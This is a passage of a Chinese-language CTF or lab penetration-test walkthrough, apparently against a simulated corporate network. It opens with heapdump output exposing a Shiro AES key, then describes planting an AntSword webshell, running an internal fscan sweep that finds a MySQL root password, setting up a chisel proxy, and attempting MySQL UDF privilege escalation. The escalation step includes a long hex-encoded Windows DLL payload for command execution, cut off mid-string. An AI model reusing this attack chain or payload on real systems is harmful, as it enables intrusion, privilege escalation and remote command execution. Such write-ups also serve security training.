$ java -jar JDumpSpider-1.1-SNAPSHOT-full.jar heapdump
Loading heap dump heapdump from cache failed.
java.io.IOException: HPROF time mismatch. Cached 1698502789924 from heap dump 1721521747178
        at org.graalvm.visualvm.lib.jfluid.heap.HprofHeap.<init>(HprofHeap.java:385)
        at org.graalvm.visualvm.lib.jfluid.heap.HeapFactory.loadHeap(HeapFactory.java:96)
        at org.graalvm.visualvm.lib.jfluid.heap.HeapFactory.createHeap(HeapFactory.java:79)
        at org.graalvm.visualvm.lib.jfluid.heap.HeapFactory.createHeap(HeapFactory.java:55)
        at org.graalvm.visualvm.lib.jfluid.heap.GraalvmHeapHolder.<init>(GraalvmHeapHolder.java:18)
        at cn.wanghw.Main.call(Main.java:66)
        at cn.wanghw.Main.main(Main.java:29)
===========================================
SpringDataSourceProperties
-------------
not found!

===========================================
WeblogicDataSourceConnectionPoolConfig
-------------
not found!

===========================================
MongoClient
-------------
not found!

===========================================
AliDruidDataSourceWrapper
-------------
not found!

===========================================
HikariDataSource
-------------
not found!

===========================================
RedisStandaloneConfiguration
-------------
not found!

===========================================
JedisClient
-------------
not found!

===========================================
CookieRememberMeManager(ShiroKey)
-------------
algMode = GCM, key = 0f+dthGML0M572/nBElv8g==, algName = AES

===========================================
OriginTrackedMapPropertySource
-------------
management.endpoints.web.exposure.include = *
spring.thymeleaf.encoding = UTF-8
management.endpoint.health.show-details = always
spring.thymeleaf.cache = true
spring.thymeleaf.content-type = text/html
server.port = 8080
spring.thymeleaf.check-template = true
management.endpoints.jmx.exposure.include = *

===========================================
MutablePropertySources
-------------
awt.toolkit = sun.awt.X11.XToolkit
sun.boot.class.path = /usr/lib/jvm/java-8-openjdk-amd64/jre/lib/resources.jar:/usr/lib/jvm/java-8-openjdk-amd64/jre/lib/rt.jar:/usr/lib/jvm/java-8-openjdk-amd64/jre/lib/sunrsasign.jar:/usr/lib/jvm/java-8-openjdk-amd64/jre/lib/jsse.jar:/usr/lib/jvm/java-8-openjdk-amd64/jre/lib/jce.jar:/usr/lib/jvm/java-8-openjdk-amd64/jre/lib/charsets.jar:/usr/lib/jvm/java-8-openjdk-amd64/jre/lib/jfr.jar:/usr/lib/jvm/java-8-openjdk-amd64/jre/classes
java.protocol.handler.pkgs = org.springframework.boot.loader
sun.management.compiler = HotSpot 64-Bit Tiered Compilers
sun.cpu.isalist =
sun.jnu.encoding = UTF-8
java.runtime.version = 1.8.0_412-8u412-ga-1~20.04.1-b08
java.class.path = /opt/erp/ERPProject-0.0.1-SNAPSHOT.jar
path.separator = :
java.vm.vendor = Private Build
os.version = 5.4.0-187-generic
java.endorsed.dirs = /usr/lib/jvm/java-8-openjdk-amd64/jre/lib/endorsed
java.runtime.name = OpenJDK Runtime Environment
file.encoding = UTF-8
catalina.useNaming = false
spring.beaninfo.ignore = true
java.vm.specification.version = 1.8
os.name = Linux
java.vm.name = OpenJDK 64-Bit Server VM
local.server.port = null
user.country = US
java.vendor.url.bug = http://bugreport.sun.com/bugreport/
sun.java.command = /opt/erp/ERPProject-0.0.1-SNAPSHOT.jar
java.io.tmpdir = /tmp
catalina.home = /tmp/tomcat.8080.4070673021461777528
java.version = 1.8.0_412
user.home = /root
user.language = en
PID = 589
java.awt.printerjob = sun.print.PSPrinterJob
CONSOLE_LOG_CHARSET = UTF-8
file.separator = /
catalina.base = /tmp/tomcat.8080.4070673021461777528
java.vm.info = mixed mode
java.specification.name = Java Platform API Specification
java.vm.specification.vendor = Oracle Corporation
FILE_LOG_CHARSET = UTF-8
java.awt.graphicsenv = sun.awt.X11GraphicsEnvironment
java.awt.headless = true
sun.io.unicode.encoding = UnicodeLittle
java.ext.dirs = /usr/lib/jvm/java-8-openjdk-amd64/jre/lib/ext:/usr/java/packages/lib/ext

===========================================
MapPropertySources
-------------
local.server.port = null

===========================================
ConsulPropertySources
-------------
not found!

===========================================
JavaProperties
-------------
java.util.logging.FileHandler.pattern = %h/java%u.log
awt.toolkit = sun.awt.X11.XToolkit
sun.cpu.isalist =
sun.jnu.encoding = UTF-8
java.class.path = /opt/erp/ERPProject-0.0.1-SNAPSHOT.jar
jdk.security.legacyAlgorithms = SHA1, RSA keySize < 2048, DSA keySize < 2048
java.vm.vendor = Private Build
jdk.disabled.namedCurves = secp112r1, secp112r2, secp128r1, secp128r2, secp160k1, secp160r1, secp160r2, secp192k1, secp192r1, secp224k1, secp224r1, secp256k1, sect113r1, sect113r2, sect131r1, sect131r2, sect163k1, sect163r1, sect163r2, sect193r1, sect193r2, sect233k1, sect233r1, sect239k1, sect283k1, sect283r1, sect409k1, sect409r1, sect571k1, sect571r1, X9.62 c2tnb191v1, X9.62 c2tnb191v2, X9.62 c2tnb191v3, X9.62 c2tnb239v1, X9.62 c2tnb239v2, X9.62 c2tnb239v3, X9.62 c2tnb359v1, X9.62 c2tnb431r1, X9.62 prime192v2, X9.62 prime192v3, X9.62 prime239v1, X9.62 prime239v2, X9.62 prime239v3, brainpoolP256r1, brainpoolP320r1, brainpoolP384r1, brainpoolP512r1
crypto.policy = unlimited
jceks.key.serialFilter = java.lang.Enum;java.security.KeyRep;java.security.KeyRep$Type;javax.crypto.spec.SecretKeySpec;!*
sun.arch.data.model = 64
login.configuration.provider = sun.security.provider.ConfigFile
catalina.useNaming = false
user.timezone =
security.overridePropertiesFile = true
java.vm.specification.version = 1.8
os.name = Linux
user.country = US
security.provider.7 = com.sun.security.sasl.Provider
sun.boot.library.path = /usr/lib/jvm/java-8-openjdk-amd64/jre/lib/amd64
sun.java.command = /opt/erp/ERPProject-0.0.1-SNAPSHOT.jar
security.provider.9 = sun.security.smartcardio.SunPCSC
jdk.security.caDistrustPolicies = SYMANTEC_TLS
sun.cpu.endian = little
user.home = /root
user.language = en
java.specification.vendor = Oracle Corporation
en = UTF-8
security.provider.1 = sun.security.provider.Sun
security.provider.2 = sun.security.rsa.SunRsaSign
security.provider.3 = sun.security.ec.SunEC
networkaddress.cache.negative.ttl = 10
jdk.tls.alpnCharset = ISO_8859_1
security.provider.4 = com.sun.net.ssl.internal.ssl.Provider
security.provider.5 = com.sun.crypto.provider.SunJCE
security.provider.6 = sun.security.jgss.SunProvider
ssl.KeyManagerFactory.algorithm = SunX509
file.separator = /
java.specification.name = Java Platform API Specification
java.vm.specification.vendor = Oracle Corporation
FILE_LOG_CHARSET = UTF-8
.level = INFO
java.awt.graphicsenv = sun.awt.X11GraphicsEnvironment
ja = UTF-8
java.awt.headless = true
com.xyz.foo.level = SEVERE
package.definition = sun.,com.sun.xml.internal.,com.sun.imageio.,com.sun.istack.internal.,com.sun.jmx.,com.sun.media.sound.,com.sun.naming.internal.,com.sun.proxy.,com.sun.corba.se.,com.sun.org.apache.bcel.internal.,com.sun.org.apache.regexp.internal.,com.sun.org.apache.xerces.internal.,com.sun.org.apache.xpath.internal.,com.sun.org.apache.xalan.internal.extensions.,com.sun.org.apache.xalan.internal.lib.,com.sun.org.apache.xalan.internal.res.,com.sun.org.apache.xalan.internal.templates.,com.sun.org.apache.xalan.internal.utils.,com.sun.org.apache.xalan.internal.xslt.,com.sun.org.apache.xalan.internal.xsltc.cmdline.,com.sun.org.apache.xalan.internal.xsltc.compiler.,com.sun.org.apache.xalan.internal.xsltc.trax.,com.sun.org.apache.xalan.internal.xsltc.util.,com.sun.org.apache.xml.internal.res.,com.sun.org.apache.xml.internal.resolver.helpers.,com.sun.org.apache.xml.internal.resolver.readers.,com.sun.org.apache.xml.internal.security.,com.sun.org.apache.xml.internal.serializer.utils.,com.sun.org.apache.xml.internal.utils.,com.sun.org.glassfish.,com.oracle.xmlns.internal.,com.oracle.webservices.internal.,oracle.jrockit.jfr.,org.jcp.xml.dsig.internal.,jdk.internal.,jdk.nashorn.internal.,jdk.nashorn.tools.,jdk.xml.internal.,com.sun.activation.registries.,jdk.jfr.events.,jdk.jfr.internal.,jdk.management.jfr.internal.
sun.boot.class.path = /usr/lib/jvm/java-8-openjdk-amd64/jre/lib/resources.jar:/usr/lib/jvm/java-8-openjdk-amd64/jre/lib/rt.jar:/usr/lib/jvm/java-8-openjdk-amd64/jre/lib/sunrsasign.jar:/usr/lib/jvm/java-8-openjdk-amd64/jre/lib/jsse.jar:/usr/lib/jvm/java-8-openjdk-amd64/jre/lib/jce.jar:/usr/lib/jvm/java-8-openjdk-amd64/jre/lib/charsets.jar:/usr/lib/jvm/java-8-openjdk-amd64/jre/lib/jfr.jar:/usr/lib/jvm/java-8-openjdk-amd64/jre/classes
java.protocol.handler.pkgs = org.springframework.boot.loader
sun.management.compiler = HotSpot 64-Bit Tiered Compilers
java.runtime.version = 1.8.0_412-8u412-ga-1~20.04.1-b08
policy.provider = sun.security.provider.PolicyFile
user.name = root
policy.url.1 = file:${java.home}/lib/security/java.policy
path.separator = :
fr = UTF-8
securerandom.source = file:/dev/random
policy.url.2 = file:${user.home}/.java.policy
jdk.tls.disabledAlgorithms = SSLv3, TLSv1, TLSv1.1, RC4, DES, MD5withRSA, DH keySize < 1024, EC keySize < 224, 3DES_EDE_CBC, anon, NULL, include jdk.disabled.namedCurves
os.version = 5.4.0-187-generic
java.endorsed.dirs = /usr/lib/jvm/java-8-openjdk-amd64/jre/lib/endorsed
policy.ignoreIdentityScope = false
java.runtime.name = OpenJDK Runtime Environment
keystore.type.compat = true
file.encoding = UTF-8
spring.beaninfo.ignore = true
java.util.logging.ConsoleHandler.formatter = java.util.logging.SimpleFormatter
java.vm.name = OpenJDK 64-Bit Server VM
jdk.sasl.disabledMechanisms =
java.vendor.url.bug = http://bugreport.sun.com/bugreport/
java.io.tmpdir = /tmp
java.util.logging.FileHandler.formatter = java.util.logging.XMLFormatter
java.util.logging.FileHandler.count = 1
catalina.home = /tmp/tomcat.8080.4070673021461777528
sun.cds.enableSharedLookupCache = false
java.version = 1.8.0_412
sun.security.krb5.maxReferrals = 5
jdk.tls.keyLimits = AES/GCM/NoPadding KeyUpdate 2^37
java.vm.specification.name = Java Virtual Machine Specification
PID = 589
java.awt.printerjob = sun.print.PSPrinterJob
CONSOLE_LOG_CHARSET = UTF-8
jdk.xml.dsig.secureValidationPolicy = disallowAlg http://www.w3.org/TR/1999/REC-xslt-19991116,disallowAlg http://www.w3.org/2001/04/xmldsig-more#rsa-md5,disallowAlg http://www.w3.org/2001/04/xmldsig-more#hmac-md5,disallowAlg http://www.w3.org/2001/04/xmldsig-more#md5,maxTransforms 5,maxReferences 30,disallowReferenceUriSchemes file http https,minKeySize RSA 1024,minKeySize DSA 1024,minKeySize EC 224,noDuplicateIds,noRetrievalMethodLoops
catalina.base = /tmp/tomcat.8080.4070673021461777528
java.library.path = /usr/java/packages/lib/amd64:/usr/lib/x86_64-linux-gnu/jni:/lib/x86_64-linux-gnu:/usr/lib/x86_64-linux-gnu:/usr/lib/jni:/lib:/usr/lib
java.util.logging.FileHandler.limit = 50000
java.vendor = Private Build
java.vm.info = mixed mode
keystore.type = jks
java.specification.maintenance.version = 5
handlers = java.util.logging.ConsoleHandler
java.ext.dirs = /usr/lib/jvm/java-8-openjdk-amd64/jre/lib/ext:/usr/java/packages/lib/ext
sun.io.unicode.encoding = UnicodeLittle
policy.expandProperties = true
securerandom.strongAlgorithms = NativePRNGBlocking:SUN
krb5.kdc.bad.policy = tryLast

===========================================
ProcessEnvironment
-------------
not found!

===========================================
OSS
-------------
not found!

===========================================
UserPassSearcher
-------------
org.apache.shiro.web.filter.authc.FormAuthenticationFilter:
[failureKeyAttribute = shiroLoginFailure, loginUrl = /login, successUrl = /, usernameParam = username, passwordParam = password]

org.apache.catalina.startup.Tomcat:
[hostname = localhost]


===========================================

可以在里面找到shiro密钥

algMode = GCM, key = 0f+dthGML0M572/nBElv8g==, algName = AES

image-20240721084057165

然后上蚁剑马即可,flag在根目录下

image-20240721084318969

接下来以这个为跳板机,传个fscan扫一下

$ ./fscan -h 192.168.8.146/24
192.168.8.146:22 open
192.168.8.38:139 open
192.168.8.16:139 open
192.168.8.26:139 open
192.168.8.9:139 open
192.168.8.12:139 open
192.168.8.26:135 open
192.168.8.38:135 open
192.168.8.16:135 open
192.168.8.12:135 open
192.168.8.9:135 open
192.168.8.9:1433 open
192.168.8.38:445 open
192.168.8.26:445 open
192.168.8.16:445 open
192.168.8.12:445 open
192.168.8.9:445 open
192.168.8.42:80 open
192.168.8.42:22 open
192.168.8.26:8080 open
192.168.8.16:8080 open
192.168.8.146:8080 open
192.168.8.9:8000 open
192.168.8.9:80 open
192.168.8.38:3306 open
192.168.8.12:88 open
192.168.8.42:8060 open
192.168.8.9:8172 open
192.168.8.42:9094 open
[*] NetBios 192.168.8.9     WORKGROUP\WIN-IISSERER        
[*] NetBios 192.168.8.26    WORKGROUP\WIN-PC3788          
[*] NetBios 192.168.8.12    [+] DC:VERTEXSOFT\RODC         
[*] NetBios 192.168.8.38    WORKGROUP\WIN-OPS88           
[*] NetBios 192.168.8.16    WORKGROUP\WIN-SERVER03        
[*] WebTitle http://192.168.8.42:8060  code:404 len:555    title:404 Not Found
[*] NetInfo 
[*]192.168.8.12
   [->]RODC
   [->]192.168.8.12
[*] NetInfo 
[*]192.168.8.38
   [->]WIN-OPS88
   [->]192.168.8.38
[*] NetInfo 
[*]192.168.8.26
   [->]WIN-PC3788
   [->]192.168.8.26
[*] WebTitle http://192.168.8.9:8000   code:200 len:4018   title:Modbus Monitor - VertexSoft Internal Attendance System
[*] NetInfo 
[*]192.168.8.9
   [->]WIN-IISSERER
   [->]192.168.8.9
[*] NetInfo 
[*]192.168.8.16
   [->]WIN-SERVER03
   [->]192.168.8.16
[*] WebTitle http://192.168.8.146:8080 code:302 len:0      title:None 跳转url: http://192.168.8.146:8080/login;jsessionid=6FF5708E4EEFFF8BDFC2934D53AC7C8F
[*] WebTitle http://192.168.8.146:8080/login;jsessionid=6FF5708E4EEFFF8BDFC2934D53AC7C8F code:200 len:1383   title:Master ERP login Form
[*] WebTitle http://192.168.8.42       code:302 len:99     title:None 跳转url: http://192.168.8.42/users/sign_in
[*] WebTitle http://192.168.8.26:8080  code:200 len:147    title:第一个 JSP 程序
[*] WebTitle http://192.168.8.9        code:200 len:43679  title:VertexSoft
[*] WebTitle https://192.168.8.9:8172  code:404 len:0      title:None
[*] WebTitle http://192.168.8.16:8080  code:403 len:594    title:None
[*] WebTitle http://192.168.8.42/users/sign_in code:200 len:11166  title:登录 · GitLab
[+] PocScan http://192.168.8.146:8080 poc-yaml-spring-actuator-heapdump-file 
[+] PocScan http://192.168.8.146:8080 poc-yaml-springboot-env-unauth spring2
[+] mysql 192.168.8.38:3306:root 123456

WIN-OPS88

[*] NetInfo 
[*]192.168.8.38
   [->]WIN-OPS88
   [->]192.168.8.38
[+] mysql 192.168.8.38:3306:root 123456

做chisel代理把WIN-OPS88的数据库端口转发出来(其实可以直接做sockets代理出所有的内网ip,巨魔教的)

image-20240721095403405

image-20240721095424140

既然有账密,那么直接sql连上去,数据库里没别的东西

image-20240721225527342

尝试udf提权,注意是win64的payload(这里我看别人直接用mdut工具一把梭了,而我的还在报错)

show variables like "%plugin%";
SELECT 0x4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000E80000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000677CBFDA231DD189231DD189231DD18904DBBF89211DD18904DBBC892A1DD18904DBAA89261DD189231DD0890F1DD18904DBAC89211DD18904DBA089221DD18904DBAB89221DD18904DBA989221DD18952696368231DD189000000000000000000000000000000005045000064860300A727A15A0000000000000000F00022200B020800002000000010000000800000109F000000900000000000100000000000100000000200000400000000000000050002000000000000C000000010000000000000020000000000100000000000001000000000000000001000000000000010000000000000000000001000000098B2000008020000B0B10000E800000000B00000B00100000050000050010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000555058300000000000800000001000000000000000040000000000000000000000000000800000E0555058310000000000200000009000000012000000040000000000000000000000000000400000E02E727372630000000010000000B000000006000000160000000000000000000000000000400000C00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000332E393100555058210D240209E1E421439D3BDFB7DE7400000F0F0000002A0000490000D41DE9FEFF833A007450488B05A421000049890009A24008CD4973D20A9F109C1899CD9F34272096280FB70593666D83FDB7410B30B001C332C0C3CC00C215CC92C9BA810034716A6FEBCC16E46C096A471853FDBF1FA4631C0FB605591688401E41C7011E00FFED6DD62B8B63BF01750F3F42088338007506C64B26EBDC01017B4E2D632B05B9E4B228CE25227ED20CD26F1F28152AB001C3F66D7BC2BF83EC38344A43895C243084B7FFF6DBD90B09FF15C71F2B4885C04C8BD87512104C24DF6EAEB9608707202DC4388E897C242873EDCDFD33C048C7C1FF0033FBF2AE1C120976D9B75B1AF7D122E901890B2DCC00BE6FEB166F28E3026E404848DEDA7FDB29F938D87459488D0D40EE4E0E813832983DE4C1EB81403281480A9EE4435E4F81503281543281563261F37D4FB0018C48804028C34C49467607744E61DEED584917E49260680A703C6527CD18782056C740045CF8BF33B64342188B48048B008D4C010239BD1E77D27D8BD947107543706D8045EC1BE936130309884370900A00B69DEE10C8980A18BC0CB3C6B00E07103FBCB37DDB0F49A585C974066F5D17B7086D21CF93CF047424ADA3B9772D7110448B6949E2FA02C2EDDFBA52E2CE0212498D5C3001E83F0FFCE85CD7FDDD5FEBCB418B03C60430D2470D5734B70C58D7E22D0822D34313167BB75BCE2618007CA01CFF56677C84842F7198F4CF16C64373870D087C8C03D6E4240F79561E541E511E7292939C4E1E4B1E481E63C2425E3E1E1FCF2784EE87C71F1DA0981F4C89C68685EE44241824580F6C59897486BB86DB76381764BDB900D34C18284CB0DB7E302D4D8BF146E8E7B901EE9B6DC1EC04E00DDA4533ED4488670BEEF69B4FF04C39290F8413050673F215FDCFB8B9169125AC1C088BE8747B418D5508E1C9B6B13AC0E6CC177C7466A04B6640FA50669047FC3F42858E1B0B9529328D7936CE6F7D61C16C304375CD8CC74803C8F56636B724D470143E51C5BA08E1D9B68D39CC1CEB13225975AD886CDBB6F050EB258BC77004CD1930DDFE9CDB803E30E2154874229245FFB176D8827811FEF5887EDD4D174EBE5A0EEBC18424805EC606E71ADA0001380C4C38F12A10F8386C04C6F0A0581A87E792317FD3DC5CD8D6D09D58747A28F2023F73B773DF3E448D48406E41B80010B3748BD1F10DF7C7ED33C9AB441A5356104CEFA2DBE6B66C02C8D8154E1B8D54B94C350AEDE98D054A75890BA3B16E3B2DBC3133D2C7D0208925183BDF19B7B3BAD2C80DF2199D30AC581E29EB081433C0922FB384F13BE0064CEB0033C029001BB0DFB65538EC024510FF10C9196600FB6F7F6C900390483B0D89293F751148C1C11066F7DDDD6FDFB87502F3DAC1C910E9150AECCC405361203B8B7D1B5801A05FDCD25B0BFBEEF7F685DBC905112FD005020675098D430185BB76EFB6205B42C703D59B0D3C48B406634136670B1C5805B12006615BD85BC3CF55D27F6CC7C7C376FC608468E140DCFBF1C2C63831E83BE141BDD20F8503EE46BB7408075EE428073C0F8E0D8DE6B61B6E2BC58ED3105FDCFD3E76FB0FB12D602E0A741EF290B9E803C91D19BFDB36931D4275E841320783F802740FB9EF6DC3B31FB70ECA0208E2ED0D2F2E338E740FD2111912F874491412FC18DADC0B1FD958F847DF72165F1803B6BB2D701E4AD0C9EB081573ED12ECF6BEDBCF2774192D06429BD72D0698FBFB66D833DB891DB80E871DB906716FC7FEB59806E5413BD5DDE26541042530BB7DBBBD002C0978081E8BF3F048B93D883072B0B7920A63C7741AD64618D7D29B2F1C6B75E3EB037BF5A79A5ED6390C950CDAEB3FEA1F9F7DB7F08E8F080644892D312D1BC485C0678FED62771A15E5DE0DD6181ABE7FDDBBEEC7050725024585F67507B404BB833D14DDC96E73068B212A0B2D5C6F11DEDD264FE3029CF12C66012D3A273E9E9EBE10C58F38D240E468EC98717A60DCE91748C3B14D22190F6C20483A5ADBF308505851F0DD05BBEE77DF3D041F208915D12695D275133915D709ED7F38C3750B5A17C61E83FA017405040ADD6BE00275338931D39D08A3B71B0D34C84E20C574134AC68B07863DB9D7A64BFC1616E0C9016B3C1A0EDC83FFB092EBDA1535AB311BC11BDB5B0BD80C430C1DC817084D7BF787755C0B1841FFD385FF88FF03753970F79D75094A08AEEB8D1CA51E36EC648B171028ADEB06D8192ECC298ADC25F3008BC3659E8793708B218B8BF8B59D9E2A4055BF15EAA3894D7AFAB61B01018B080724B0D67D5D902DD9C2302F5E7D0AB1485825FF4DDB960C1E92387D2EDA02F101D7136FA3F875056C0CFCFA7D918844A4FD258B036983EB2F9E8E090CEFC6F852A1899E2681EC880068CD760DBFFE73153F156705B8C648F25845B7390CB8283D1F2C586170C339DEF61624EB754148B73DC6364238004044230430090E662FCF40280578254703055C73874C1C51494E7D4BB1077F4BF0EB222B8093447BDD837D738D0E83C00812D13E8D67DB7B642A059B240D20902F9C5BA25B701C2A7214097BC009CC3E1E666C926724766E833572DBFF0B70DC7A142F482C38B0BB2493827B8EF083D2396A14019B15650CCB36DC9255B624C80A271B83D76C1854BA6A234E336B1784F781C4ACA041592947A626231C0FD8CF53188186D9EF0D68295A4A148A8EF8ECECCDD64427CB1366EB75B908674B32D21DEA902D3A1C1128106464200A8B83AF334463971BCB36E418C323DB83A238243D05F62809993959B611402BDC678C90C136DE1BC3017F37320296247F15F4F6120D6276D81BC00383E8013C2075643F289C8D3D53041A787F4B8D1D4C068D13A08491790EC372B3326129A9EF4F137F2344720CC96681394D5A75FCB7C3FF174863513C813C0A5045E1137C0A180B020F94C063E343029F4C63413CFEC9B4EBED8D7ED24C03C1413C4014450458064525FFC25F6A4AB10018741F8B510B3BD2720A8B4108ED6FF8DB03C209D072104183C113C128453BCB72E16FC796B05D1CC1C3CF4CC1267AF7446992E1DA85DCBD1F4C2BC15FEAFB5ABED0140CCD0F3A24C1E81F600D2CFEF7D083E001EB02584FD644AB360196EBCAC0B66C3008EEC18B01A7FFAA128D3CC77627252205CC11CE78DCA606CB113F75463DA70FF0DD4603241B471EB801000000277C29847F3FE520000081BFF83C3DFC32A2DF2D992B7DC7F83074149D6FA3D00E7F5DC6268B2DC285586B212430BC6286B6489934E10AB9B4C856E04671D849460BB50E731C0EB110D9BE10A8D813FE6A4CB84C33DBCEB8FF00856037BA1623E9B8338975DDE016B1DF744D44D89C1D39B705DBDD8449F7D3093720D2FBDC4B4646463605DEE0E2E4B24746465E505A11000055C9A8AA298064547FB017D8069017303007D04E6F206172FFFFDFFE67756D656E7473096C6C6F77656420287564663A206C69625F6D79730BF6B7DD716C0D5F73085F696E666F29411C80EDFF232076657273696F6E20302E0134EDEDEE17A178706563744B657861076C79201A6DBB7DFB652073747243672074791B2070766175D8299B6D21724F2F7477996D60010B1F438EF6F603FB72206E616D4C436F756C246E6F74CCE8B66D3B63611320186D27796372FF850740310106023532023001240D0024F6FFB7FFD407001FC408001A740B15640C0010540B000B340A0004822776BBDCFE1918090018C40F13740E640B093427B763D4ED046217D41E5E3F1903241AEDBACF2C5007390F2A07801ABBDC6E8367165B16743711640C340B7BD85B770442130C390C01118350118B9B6DF705530133871C03E4001D5D90ED60430E057B743F09BAEEB0D80401072F67079403A06077DBC10701462F462B1074092F0DB6D94E3416033B01000715BB0BB6BD971574062F64F7DF21000884DDB640AE043439741F00BF20EEECEDB6140629034C341F0BA903E1C2DEBE240F05C305340A13234BD36D9B6E23431E14C45F0F470A75B713760554094B01098909A2071E7DE572BB1F1E742F12640D34870142B71582BB2E1311CF0C03CA96DD0E01380F387427005124A3AAFEC10246DDCD5D20D266D4FF555516C900178FA02A1B003011764BD56C039180BFA007E0126DD79DDD03703407F803680B0013026A76FBBA8603540B14021814170B581590FB2F07D9EEECF60A150310340727030034075BD5B9DD7003E0336F0724B3CC755DD7750B30074203AC0B9007F5B61B94DB03C03233920C1903C8BA05A0EB0B10074F8BE80B508375AFEB077303444707990BA0B65DD77507E503280BF0073A1C033C0038B7EB0B5007F71CA70B77B63BDB8B191D2F2007381DCB40071DAC7B5D83036C8307D30B601E9DED5EB3039B7C5F07C11E3BE0D0AE3BDB07031F3B1007D6039C33CA1255954A005525A3AAA8AA9251645455C9D09BA0887C0402C4FF16360157616974466F7253AC7F2B40FC6C654F626ABD14566972747561F63703C46C419A0D536574456E76126DBF01E26F6EE45661726961622B41EB2E40BC18437265B8546806640DF65BF76D47264375727222502A636573734914E283CD1226135469636BB6FD6E03026E6B517565727950036684DEDBB1F66D616E3716657218446973676FDBDBCF374C6962727879436192731A52746C633BB76D0970A2722D2C7874124CBDB5ADFD6F6F6B7570463EC26916B2747279DFB5078B17CD556E77E47E4973446562736F6BED75676763A7A56583E11DFEB6B77268616E64457883704046696CA56C85C58719F19319DAB61254176D65151153DAF6586B39352B537973176DFA81E87517454173426509A3DBFE434388A0895F616D73675FCC6990B3850BBF5F5F435F73708B6966285F7E267CDB766F5F64116F035F706F6922430B76DB2663DA5F64CE280009626B31142D325F7A13C417840B5F7B50705B6C735F330A6C212205DB5ACCD82A58096E73ED6BC982130FD76D643ED6BAD6DE756C343F15416D170CDEA3E0020AB52689A3B565C933A196063BC16DB15B0772652508661115080D5BA1739C29709F73149BB5ADB93932AE6E074D0F85D7BADBC56F736A663A70105E3B84ED70705831747B6D343FDF15F4C700F08C21180800E264860600A76EFB0FE327A15AE6F00022200B020808120CB07744B314132E0010000005CF1E6C9B02020433050002088000C302F663146D160100022E063AF76C650F0A50394330908DE8DB88223C1460E2D880D4BD0118020183703AACBB024B00303A011E4644A42B2E1054822D3BD810901200DC00B3DBC63B6F602E7264A76108550B53597761DD000C03162740022E26291B61F600D805100C22273616ECECC02E702850EB27244FD820FC007273726300136027B3C7013226650942FCA664B0702728421B4036C08D6D05CA7212D3060000000000009000FF0048894C240848895424104C8944241880FA010F854502000053565755488D35CDF0FFFF488DBE0080FFFF5731DB31C94883CDFFE85000000001DB7402F3C38B1E4883EEFC11DB8A16F3C3488D042F83F9058A1076214883FDFC771B83E9048B104883C00483E9048917488D7F0473EF83C1048A10741048FFC0881783E9018A10488D7F0175F0F3C3FC415BEB0848FFC6881748FFC78A1601DB750A8B1E4883EEFC11DB8A1672E68D410141FFD311C001DB750A8B1E4883EEFC11DB8A1673EB83E8037217C1E0080FB6D209D048FFC683F0FF0F843A0000004863E88D410141FFD311C941FFD311C9751889C183C00241FFD311C901DB75088B1E4883EEFC11DB73ED4881FD00F3FFFF11C1E83AFFFFFFEB835E4889F7B900120000B2004889FBEB2C8A074883C7013C80720A3C8F7706807FFE0F74062CE83C0177233817751F8B072500FFFFFF0FC829F801D8AB4883E9048A074883C70148FFC975D9EB0548FFC975BE4883EC28488DBE007000008B0709C0744F8B5F04488D8C30B0A100004801F34883C708FF96ECA1000048958A0748FFC708C074D74889F94889FAFFC8F2AE4889E9FF96F4A100004809C074094889034883C308EBD64883C4285D5F5E5B31C0C34883C4284883C704488D5EFC31C08A0748FFC709C074233CEF77114801C3488B03480FC84801F0488903EBE0240FC1E010668B074883C702EBE1488BAEFCA10000488DBE00F0FFFFBB00100000504989E141B8040000004889DA4889F94883EC20FFD5488D871702000080207F8060287F4C8D4C24204D8B014889DA4889F9FFD54883C4285D5F5E5B488D4424806A004839C475F94883EC804C8B442418488B542410488B4C2408E91F79FFFF000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000040000000000010018000000180000800000000000000000040000000000010002000000300000800000000000000000040000000000010009040000480000005CB0000054010000E404000000000000586000003C617373656D626C7920786D6C6E733D2275726E3A736368656D61732D6D6963726F736F66742D636F6D3A61736D2E763122206D616E696665737456657273696F6E3D22312E30223E0D0A20203C646570656E64656E63793E0D0A202020203C646570656E64656E74417373656D626C793E0D0A2020202020203C617373656D626C794964656E7469747920747970653D2277696E333222206E616D653D224D6963726F736F66742E564338302E435254222076657273696F6E3D22382E302E35303630382E30222070726F636573736F724172636869746563747572653D22616D64363422207075626C69634B6579546F6B656E3D2231666338623362396131653138653362223E3C2F617373656D626C794964656E746974793E0D0A202020203C2F646570656E64656E74417373656D626C793E0D0A20203C2F646570656E64656E63793E0D0A3C2F617373656D626C793E0000000000000000000000002CB20000ECB1000000000000000000000000000039B200001CB20000000000000000000000000000000000000000000044B200000000000052B200000000000062B200000000000072B200000000000080B200000000000000000000000000008EB200000000000000000000000000004B45524E454C33322E444C4C004D5356435238302E646C6C00004C6F61644C69627261727941000047657450726F634164647265737300005669727475616C50726F7465637400005669727475616C416C6C6F6300005669727475616C46726565000000667265650000000000000000A727A15A0000000074B30000010000001200000012000000C0B2000008B3000050B300007010000060100000001000008015000060100000701500002014000060100000901300000014000060100000901300003011000060100000C010000000130000E0120000A011000089B300009FB30000BCB30000D7B30000E3B30000F6B3000007B4000010B4000020B400002EB4000037B4000047B4000055B400005DB400006CB4000079B4000081B4000090B4000000000100020003000400050006000700080009000A000B000C000D000E000F00100011006C69625F6D7973716C7564665F7379732E646C6C006C69625F6D7973716C7564665F7379735F696E666F006C69625F6D7973716C7564665F7379735F696E666F5F6465696E6974006C69625F6D7973716C7564665F7379735F696E666F5F696E6974007379735F62696E6576616C007379735F62696E6576616C5F6465696E6974007379735F62696E6576616C5F696E6974007379735F6576616C007379735F6576616C5F6465696E6974007379735F6576616C5F696E6974007379735F6578656